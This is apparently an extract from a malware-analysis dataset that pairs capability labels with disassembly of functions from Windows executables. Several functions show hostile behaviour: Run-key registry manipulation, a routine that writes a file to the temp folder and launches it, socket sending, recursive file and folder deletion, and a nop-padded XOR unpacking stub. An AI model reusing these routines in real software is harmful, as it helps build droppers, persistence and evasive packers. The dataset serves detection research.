joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408990
Capabilities:
Create process on windows
Delete registry value
Get common file path
Persist via run registry key
Send data
Send data on socket
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xdc8
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0xdc0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4089e4
mov ecx, dword [esp + 0x10]
push str.Internet
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x29
mov esi, 0x422e98
lea edi, [esp + 0x120]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x2a
mov esi, str._html__body_bgcolor_white__text_black__link_blue__vlink_blue__alink_red____body__r_n_center__font_size_6___br_Winserver
lea edi, [esp + 0x70]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x1c8]
push eax
push 0x7ff
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x408a50
lea ecx, [esp + 0x70]
push ecx
mov ebx, dword [ebx + 0x18]
mov eax, 0xa9
call fcn.00405970
mov ecx, dword [esp + 0xdcc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040bd50
add esp, 0xdc8
ret
lea eax, [esp + 0x1c8]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a60
sub eax, edx
cmp byte [esp + eax + 0x1c7], 0x5c
mov dword [esp + 0x14], eax
je 0x408a86
mov byte [esp + eax + 0x1c8], 0x5c
mov byte [esp + eax + 0x1c9], cl
push str.D407
lea edx, [esp + 0x1cc]
push 0x800
push edx
call fcn.0040cbb3
add esp, 0xc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x1e0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x408a21
push 0
lea edx, [esp + 0x18]
push edx
push 0xa00
push 0x426ae0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
lea eax, [esp + 0x9cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x422ff4
lea ecx, [esp + 0x1cc]
push 0x800
push ecx
call fcn.0040cbb3
lea edx, [esp + 0x9d4]
push edx
lea eax, [esp + 0x1d8]
push 0x800
push eax
call fcn.0040cbb3
push 0x422ff8
lea ecx, [esp + 0x1e4]
push 0x800
push ecx
call fcn.0040cbb3
push 0x40
lea edx, [esp + 0x54]
push 0
push edx
call fcn.004119c0
add esp, 0x30
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x1e8]
push edx
push 0
mov dword [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x408b91
lea eax, [esp + 0x70]
push eax
jmp 0x408a26
mov edx, dword [ebx]
push 0
push 0xa4
lea ecx, [esp + 0x128]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4090a0
Capabilities:
Get file size

Disassembly:
sub esp, 0x510
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x50c], eax
push ebx
push ebp
push edi
mov edi, ecx
push 0x2f
push edi
mov ebx, edx
call fcn.0040d170
add esp, 8
test eax, eax
je 0x4090e3
lea ebx, [ebx]
mov byte [eax], 0x5c
inc eax
push 0x2f
push eax
call fcn.0040d170
add esp, 8
test eax, eax
jne 0x4090d0
push 0
push 0
push 3
push 0
push 1
push connect
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x409125
push 0
push ebp
mov dword [esi + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [eax - 1]
mov dword [esi + 0x34], eax
mov dword [esi + 0x30], ecx
cmp eax, 0xffffffff
jne 0x40913f
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x50c]
xor ecx, esp
call fcn.0040bd50
add esp, 0x510
ret
push ebx
call fcn.0040d8e4
push str.range:
push ebx
call fcn.0040d3c0
add esp, 0xc
test eax, eax
je 0x409215
lea ebx, [esp + 0x118]
mov edi, eax
call fcn.00405cd0
cmp byte [esp + 0x118], 0
je 0x409215
mov edx, ebx
push str.bytes
push edx
call fcn.0040d3c0
add esp, 8
test eax, eax
je 0x4091c5
add eax, 6
push eax
call fcn.0040d9f4
fnstcw word [esp + 0x12]
movzx eax, word [esp + 0x12]
or eax, 0xc00
mov dword [esp + 0x14], eax
add esp, 4
fldcw word [esp + 0x10]
fistp qword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov dword [esi + 0x2c], eax
fldcw word [esp + 0xe]
cmp eax, dword [esi + 0x34]
jae 0x40911e
lea eax, [esp + 0x118]
push 0x2d
push eax
call fcn.0040d170
add esp, 8
test eax, eax
je 0x409215
inc eax
push eax
call fcn.0040d9f4
fnstcw word [esp + 0x12]
movzx eax, word [esp + 0x12]
or eax, 0xc00
mov dword [esp + 0x14], eax
add esp, 4
fldcw word [esp + 0x10]
fistp qword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov dword [esi + 0x30], eax
fldcw word [esp + 0xe]
test eax, eax
jne 0x409215
mov ecx, dword [esi + 0x34]
dec ecx
mov dword [esi + 0x30], ecx
mov edx, dword [esi + 0x2c]
push 0
push 0
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x2c]
push edx
push eax
sub eax, ecx
push ecx
inc eax
push eax
push str.HTTP_1.1_206_Partial_Content_r_nContent_Type:_application_octet_stream_r_nContent_Length:__lu_r_nContent_Range:_bytes__lu__lu__lu_r_nAccept_ranges:_bytes_r_nConnection:_close_r_n_r_n
lea edx, [esp + 0x2c]
mov dword [esi + 0x24], ebp
mov dword [esi + 0x28], 0
call fcn.00403ad0
lea eax, [esp + 0x2c]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409256
mov ebx, dword [esi + 0x18]
lea ecx, [esp + 0x18]
sub eax, edx
push ecx
call fcn.00405970
mov ecx, dword [esp + 0x518]
pop edi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040bd50
add esp, 0x510
ret
Function at 0x40aa90
Capabilities:
Set file attributes

Disassembly:
push 0x2f
push esi
call fcn.0040d170
add esp, 8
test eax, eax
jne 0x40aaa0
ret
mov byte [eax], 0x5c
inc eax
push 0x2f
push eax
call fcn.0040d170
add esp, 8
test eax, eax
jne 0x40aaa0
push esi
call fcn.0040da07
add esp, 4
test eax, eax
je 0x40aad5
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call fcn.0040da07
add esp, 4
mov eax, 1
ret

Function at 0x40aae0
Capabilities:
Create thread

Disassembly:
push ecx
push 0x2f
push edi
call fcn.0040d170
add esp, 8
test eax, eax
je 0x40ab03
mov byte [eax], 0x5c
inc eax
push 0x2f
push eax
call fcn.0040d170
add esp, 8
test eax, eax
jne 0x40aaf0
push ebx
push esi
mov esi, edi
lea ecx, [esi + 1]
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x40ab10
sub esi, ecx
cmp byte [esi + edi - 1], 0x5c
je 0x40ab29
mov byte [esi + edi], 0x5c
mov byte [esi + edi + 1], al
inc esi
lea eax, [esi + 5]
push eax
call fcn.0040ccf9
mov ecx, dword [esp + 0x14]
mov ebx, eax
push edi
inc esi
lea edx, [ebx + 4]
push esi
push edx
mov dword [ebx], ecx
call fcn.0040cc27
add esp, 0x10
lea eax, [esp + 8]
push eax
push 0
push ebx
push 0x40ab80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x40ab75
push ebx
call fcn.0040d358
add esp, 4
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
pop esi
mov eax, 1
pop ebx
pop ecx
ret 4

Function at 0x40aba0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94c
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x948], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
lea eax, [esp + 0x554]
push 0x400
push eax
mov edi, ecx
call fcn.0040cc27
add esp, 0xc
test eax, eax
jne 0x40acc8
push 0x423694
lea ecx, [esp + 0x554]
push 0x400
push ecx
call fcn.0040cbb3
add esp, 0xc
test eax, eax
jne 0x40acc8
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x554]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40acc8
test byte [esp + 0x10], 0x10
je 0x40ac2e
cmp byte [esp + 0x3c], 0x2e
je 0x40aca6
push esi
lea ecx, [esp + 0x154]
push 0x400
push ecx
call fcn.0040cc27
add esp, 0xc
test eax, eax
jne 0x40aca6
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x154]
push 0x400
push eax
call fcn.0040cbb3
add esp, 0xc
test eax, eax
jne 0x40aca6
test byte [esp + 0x10], 0x10
je 0x40ac98
push str._._
lea ecx, [esp + 0x154]
push 0x400
push ecx
call fcn.0040cbb3
add esp, 0xc
lea edx, [esp + 0x150]
push edx
mov ecx, edi
call fcn.0040aba0
jmp 0x40aca6
lea eax, [esp + 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ac20
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [esp + 0x954]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040bd50
mov esp, ebp
pop ebp
ret 4

Function at 0x40bd50
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425064]
jne 0x40bd5a
repz ret
jmp fcn.0040dbe8
Function at 0x41b4e7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040f8ba
and dword [ebp - 4], 0
cmp dword [0x4346f0], 0
mov ebx, eax
jne 0x41b598
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41b649
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41b649
push eax
call fcn.0040f848
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4346f0], eax
call esi
push eax
call fcn.0040f848
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4346f4], eax
call esi
push eax
call fcn.0040f848
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4346f8], eax
call esi
push eax
call fcn.0040f848
pop ecx
mov dword [0x434700], eax
test eax, eax
je 0x41b598
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040f848
pop ecx
mov dword [0x4346fc], eax
mov eax, dword [0x4346fc]
cmp eax, ebx
je 0x41b5f0
cmp dword [0x434700], ebx
je 0x41b5f0
push eax
call fcn.0040f8c3
push dword [0x434700]
mov esi, eax
call fcn.0040f8c3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41b5f0
test edi, edi
je 0x41b5f0
call esi
test eax, eax
je 0x41b5e7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41b5e7
test byte [ebp - 0xc], 1
jne 0x41b5f0
or dword [ebp + 0x10], 0x200000
jmp 0x41b629
mov eax, dword [0x4346f4]
cmp eax, ebx
je 0x41b629
push eax
call fcn.0040f8c3
pop ecx
test eax, eax
je 0x41b629
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41b629
mov eax, dword [0x4346f8]
cmp eax, ebx
je 0x41b629
push eax
call fcn.0040f8c3
pop ecx
test eax, eax
je 0x41b629
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4346f0]
call fcn.0040f8c3
pop ecx
test eax, eax
je 0x41b649
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41b64b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x494320
Capabilities:
Get file version info

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x214
lea eax, [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x220]
push esi
push edi
push 0x104
push eax
push ecx
mov word [ebp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4943e2
cmp eax, 0x104
jne 0x494365
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x4943e2
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
test edi, edi
je 0x4943e2
push edi
call fcn.0064f6c7
mov esi, eax
add esp, 4
test esi, esi
je 0x4943e2
mov ecx, dword [esp + 0x10]
push ebx
push esi
push edi
lea edx, [esp + 0x24]
push ecx
push edx
xor ebx, ebx
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x4943ca
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
push ecx
push str.VarFileInfoTranslation
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4943ca
mov edx, dword [esp + 0x10]
mov ebx, 1
mov ax, word [edx]
mov word [ebp], ax
push esi
call fcn.0064f6bc
add esp, 4
mov eax, ebx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x214
ret 8
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x214
ret 8

Function at 0x4e098e
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add dword [eax], 0
push ebx
push esi
push edi
mov dword [ebp + 0x1b], ecx
add byte [ebp - 0x30], dl
mov dword [ebp - 0x2c], eax
mov eax, 0x1c
call 0x6a9ab53a
add byte [ebp - 0x2c], dl
mov eax, dword [edx + 0x2f0]
add dl, dl
call 0x319560ea
add byte [0x9cdc6c], bh
add byte [eax + eax], dh
xor eax, 0x9cdc6c
invalid
Function at 0x535b82
Capabilities:
Encode data using xor

Disassembly:
adc eax, 0xf696fc00
push esi
ret 0x42cf
xor bh, byte [eax]
push ebx
test byte [0x7186ff97], ch
add al, 0xb8
shl byte [ecx + 0x4715437c], 7
mov ebx, 0x4a34de04
jl 0x535ba2
adc eax, 0x4bb0747
fidiv word [edx + ecx*2]
push 0xffffffffffffffa4
popfd
and edx, dword [edi + 0x7a]
into
leave
je 0x535b88
lodsd eax, dword [esi]
adc bl, byte [edx]
jo 0x535b24
push eax
sar dword [ebx + 0x11], 1
adc eax, 0xde6e34e
add al, dl
std
pop eax
jae 0x535bf1
mov word [edx - 0x553c09c5], ss
lock sub dword [edi], edx
xchg ecx, eax
mov ecx, dword [ebp + 0x730cb7c8]
les ebx, [esi + 0x5ef0d69c]
test dword [eax], 0xbb0f9a11
mov ebx, 0x1f00923e
ret
jae 0x535b5d
sahf
pushfd
salc
invalid
btc dword [ebx + 0x1f00923e], edi
push ecx
insd dword es:[edi], dx
inc edx
sar byte [ebp - 0x6d], 1
mov bl, 0x17
xchg ebx, eax
jae 0x535b4f
cmp cl, byte [0x378cd6c9]
ret 0x2a1e
push ds
sub cl, byte [ecx + 0x1c4efa9f]
and dword [ebp - 0x16], 0x43
adc ebp, dword fs:[0x2dfd1c0f]
dec eax
inc eax
dec edi
mov bh, 0xdd
adc ah, byte [esi]
cli
or byte [esi], ah
mov ah, 0x3f
iretd
push esi
test ebx, esi
jne 0x535b97
jp 0x535bbb
push es
mov cl, 0xbf
mov ebx, 0x72823240
mov byte ss:[0x86448178], al
xor byte [edx + 0x36], 0xf2
mov byte [0x86448178], al
arpl word [ebx - 0x5da03391], cx
salc
jne 0x535c45
js 0x535be8
jle 0x535b8c
push 0xffffffffffffff98
mov ss, word [edx - 0x12e61ebe]
sbb al, 0xb1
add dl, byte [edx + 0x159daca2]
jb 0x535c34
dec ebx
test byte [ebx + 0xa], ah
aam 0x14
xor al, 0x17
invalid
fdivrp st(7)
loopne 0x535be3
push edx
pop dword [edx - 0x22]
mov fs, word [ebx - 0x731cdb3c]
inc edi
jo 0x535bd7
aas
invalid
Function at 0x303034
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x203c
call fcn.0031f1f0
push esi
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.0031a9d0
mov esi, dword [0x333510]
add esp, 0xc
lea ecx, [esi + 1]
lea eax, [esi + 2]
imul eax, ecx
imul eax, esi
push 0x12
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x3c], 0x3c
cmp edx, 2
jne 0x3030a3
push 0x64
pop ecx
mov eax, esi
cdq
idiv ecx
xor ecx, ecx
push 4
lea eax, [edx + 0x7b]
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00310bdb
push eax
call fcn.00311664
mov esi, dword [0x333510]
pop ecx
pop ecx
lea eax, [ebp - 0x103c]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x203c]
mov dword [ebp - 0x10], eax
lea eax, [esi + 1]
imul eax, esi
push 0x18
cdq
pop ecx
idiv ecx
cmp edx, 7
jne 0x3030df
xor ecx, ecx
inc ecx
cmp esi, ecx
jle 0x3030d9
mov eax, esi
cdq
idiv ecx
inc ecx
add ecx, edx
cmp ecx, esi
jl 0x3030cd
mov dword [0x333510], ecx
mov eax, 0x800
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
pop esi
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x3030f9
mov eax, dword [eax]
lea edx, [ebp - 0x3c]
push edx
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x30312f
push dword [ebp - 0x2c]
mov ecx, dword [ebp + 8]
call fcn.003021ab
push dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
call fcn.003021ab
mov edx, dword [ebp + 0x10]
mov cx, word [ebp - 0x24]
mov word [edx], cx
mov al, 1
jmp 0x303131
xor al, al
leave
ret 0x10
Function at 0x305172
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
or esi, 0x2001f
push esi
push 0
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x3051f1
xor ecx, ecx
push ecx
lea eax, [ebp - 4]
push eax
push ecx
push esi
push ecx
push ecx
push ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x3051ba
xor al, al
jmp 0x305220
mov ecx, dword [0x333510]
push 0x12
lea eax, [ecx + 1]
imul eax, ecx
cdq
pop ecx
idiv ecx
cmp edx, 0x10
jne 0x3051f1
mov eax, 0xba
lea esi, [eax + 0x2f]
test esi, esi
je 0x3051ea
cdq
idiv esi
mov ecx, esi
mov eax, ecx
mov esi, edx
test ecx, ecx
jne 0x3051d9
add eax, esi
mov dword [0x333510], eax
mov esi, str.CinemaxYou_v2
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x3051fb
sub ecx, edx
lea eax, [ecx + 1]
push eax
push esi
push 1
push 0
push str.70099
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x305225
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
or esi, 0x2001f
push esi
push 0
mov edi, edx
mov ebx, ecx
push edi
push ebx
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp + 8], eax
mov eax, dword [0x333510]
imul eax, eax
push 0x14
cdq
pop ecx
idiv ecx
cmp edx, 8
jne 0x30527b
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
cmp dword [ebp + 8], 2
jne 0x30529d
xor ecx, ecx
push ecx
lea eax, [ebp - 4]
push eax
push ecx
push esi
push ecx
push ecx
push ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x30529d
xor al, al
jmp 0x3052b8
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3052bd
Capabilities:
Get common file path

Disassembly:
mov eax, 0x323cfa
call fcn.003200c8
sub esp, 0x248
and dword [ebp - 0x14], 0
push ebx
push esi
push edi
lea eax, [ebp - 0x254]
push eax
mov edi, ecx
mov esi, 0x104
push esi
mov dword [ebp - 0x30], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, esi
ja 0x305362
test eax, eax
je 0x305362
call fcn.00311669
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00301712
mov esi, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
call fcn.003021ab
mov byte [ebp - 4], 2
push esi
lea edx, [ebp - 0x2c]
mov ecx, edi
call fcn.00306def
pop ecx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], bl
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0030222a
mov byte [ebp - 4], 0
push 0
push ebx
lea ecx, [ebp - 0x48]
call fcn.0030222a
jmp 0x305379
push 0x32caec
mov ecx, edi
call fcn.003020eb
and dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x31a6ab
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x331cc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.003176eb
mov dword [ebp - 0x14], eax
cmp dword [0x3334a8], edi
jne 0x31a79c
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x31a729
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x31a87c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x31a87c
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x31a87c
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x3334a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x3334ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x3334b0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x3334b8], eax
test eax, eax
je 0x31a799
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x3334b4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x31a7c1
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x31a7b4
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x31a7d6
push 4
pop eax
jmp 0x31a87e
cmp dword [ebp - 0x14], edi
je 0x31a7d6
push dword [0x3334a8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x31a7bb
mov eax, dword [0x3334b4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x31a834
cmp dword [0x3334b8], esi
je 0x31a834
push eax
call ebx
push dword [0x3334b8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x31a834
test eax, eax
je 0x31a834
call ecx
test eax, eax
je 0x31a829
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x31a829
test byte [ebp - 8], 1
jne 0x31a834
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x31a864
mov eax, dword [0x3334ac]
cmp eax, esi
je 0x31a861
push eax
call ebx
test eax, eax
je 0x31a861
call eax
mov edi, eax
test edi, edi
je 0x31a861
mov eax, dword [0x3334b0]
cmp eax, esi
je 0x31a861
push eax
call ebx
test eax, eax
je 0x31a861
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x3334a8]
call ebx
test eax, eax
je 0x31a87c
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x31a87e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0031292b
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x309b2f6f
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5c6319e0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219